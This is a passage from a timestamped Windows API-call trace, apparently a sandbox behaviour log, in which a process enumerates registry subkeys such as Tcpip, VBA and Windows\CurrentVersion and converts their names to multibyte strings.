(in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0247.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0xa8c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0247.619] RegEnumKeyW (in: hKey=0x34, dwIndex=0x64, lpName=0xa8b930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0247.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0xa8c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0247.620] RegEnumKeyW (in: hKey=0x34, dwIndex=0x65, lpName=0xa8b930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0247.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0xa8c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0247.621] RegEnumKeyW (in: hKey=0x34, dwIndex=0x66, lpName=0xa8b930, cchName=0x104 | out: lpName="Software") returned 0x0 [0247.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0xa8c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0247.621] RegEnumKeyW (in: hKey=0x34, dwIndex=0x67, lpName=0xa8b930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0247.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0xa8c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0247.621] RegEnumKeyW (in: hKey=0x34, dwIndex=0x68, lpName=0xa8b930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0247.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0247.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0xa8c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0247.621] RegEnumKeyW (in: hKey=0x34, dwIndex=0x69, lpName=0xa8b930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0247.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0247.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0xa8c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0247.621] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6a, lpName=0xa8b930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0247.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0xa8c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0247.621] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6b, lpName=0xa8b930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0247.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0247.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0xa8c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0247.622] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6c, lpName=0xa8b930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0247.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0247.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0xa8c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0247.622] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6d, lpName=0xa8b930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0247.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0247.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0xa8c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0247.622] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6e, lpName=0xa8b930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0247.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0xa8c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0247.622] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6f, lpName=0xa8b930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0247.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0247.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0xa8c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0247.622] RegEnumKeyW (in: hKey=0x34, dwIndex=0x70, lpName=0xa8b930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0247.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0xa8c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0247.622] RegEnumKeyW (in: hKey=0x34, dwIndex=0x71, lpName=0xa8b930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0247.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0247.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0xa8c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0247.623] RegEnumKeyW (in: hKey=0x34, dwIndex=0x72, lpName=0xa8b930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0247.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0xa8c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0247.623] RegEnumKeyW (in: hKey=0x34, dwIndex=0x73, lpName=0xa8b930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0247.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0xa8c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0247.623] RegEnumKeyW (in: hKey=0x34, dwIndex=0x74, lpName=0xa8b930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0247.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0xa8c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0247.623] RegEnumKeyW (in: hKey=0x34, dwIndex=0x75, lpName=0xa8b930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0247.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0247.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0xa8c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0247.623] RegEnumKeyW (in: hKey=0x34, dwIndex=0x76, lpName=0xa8b930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0247.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0247.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0xa8c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0247.624] RegEnumKeyW (in: hKey=0x34, dwIndex=0x77, lpName=0xa8b930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0247.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0xa8c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0247.624] RegEnumKeyW (in: hKey=0x34, dwIndex=0x78, lpName=0xa8b930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0247.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0xa8c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0247.624] RegEnumKeyW (in: hKey=0x34, dwIndex=0x79, lpName=0xa8b930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0247.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0247.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0xa8c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0247.624] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7a, lpName=0xa8b930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0247.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0xa8c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0247.624] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7b, lpName=0xa8b930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0247.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0247.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0xa8c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0247.624] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7c, lpName=0xa8b930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0247.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0247.625] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7d, lpName=0xa8b930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0247.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0xa8c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0247.625] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7e, lpName=0xa8b930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0247.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0xa8c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0247.625] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7f, lpName=0xa8b930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0247.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0xa8c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0247.625] RegEnumKeyW (in: hKey=0x34, dwIndex=0x80, lpName=0xa8b930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0247.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0xa8c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0247.625] RegOpenKeyExW (in: hKey=0x34, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x90) returned 0x0 [0247.625] RegCloseKey (hKey=0x34) returned 0x0 [0247.626] RegEnumKeyW (in: hKey=0x90, dwIndex=0x0, lpName=0xa8b930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0247.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0247.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0xa8c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0247.626] RegOpenKeyExW (in: hKey=0x90, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x34) returned 0x0 [0247.626] RegCloseKey (hKey=0x90) returned 0x0 [0247.626] RegEnumKeyW (in: hKey=0x34, dwIndex=0x0, lpName=0xa8b930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0247.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0247.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0xa8c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0247.626] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1, lpName=0xa8b930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0247.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0247.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0xa8c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0247.626] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2, lpName=0xa8b930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0247.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0xa8c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0247.626] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3, lpName=0xa8b930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0247.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0xa8c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0247.627] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4, lpName=0xa8b930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0247.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0247.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0xa8c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0247.627] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5, lpName=0xa8b930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0247.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0247.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0xa8c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0247.627] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6, lpName=0xa8b930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0247.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0xa8c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0247.627] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7, lpName=0xa8b930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0247.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0247.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based 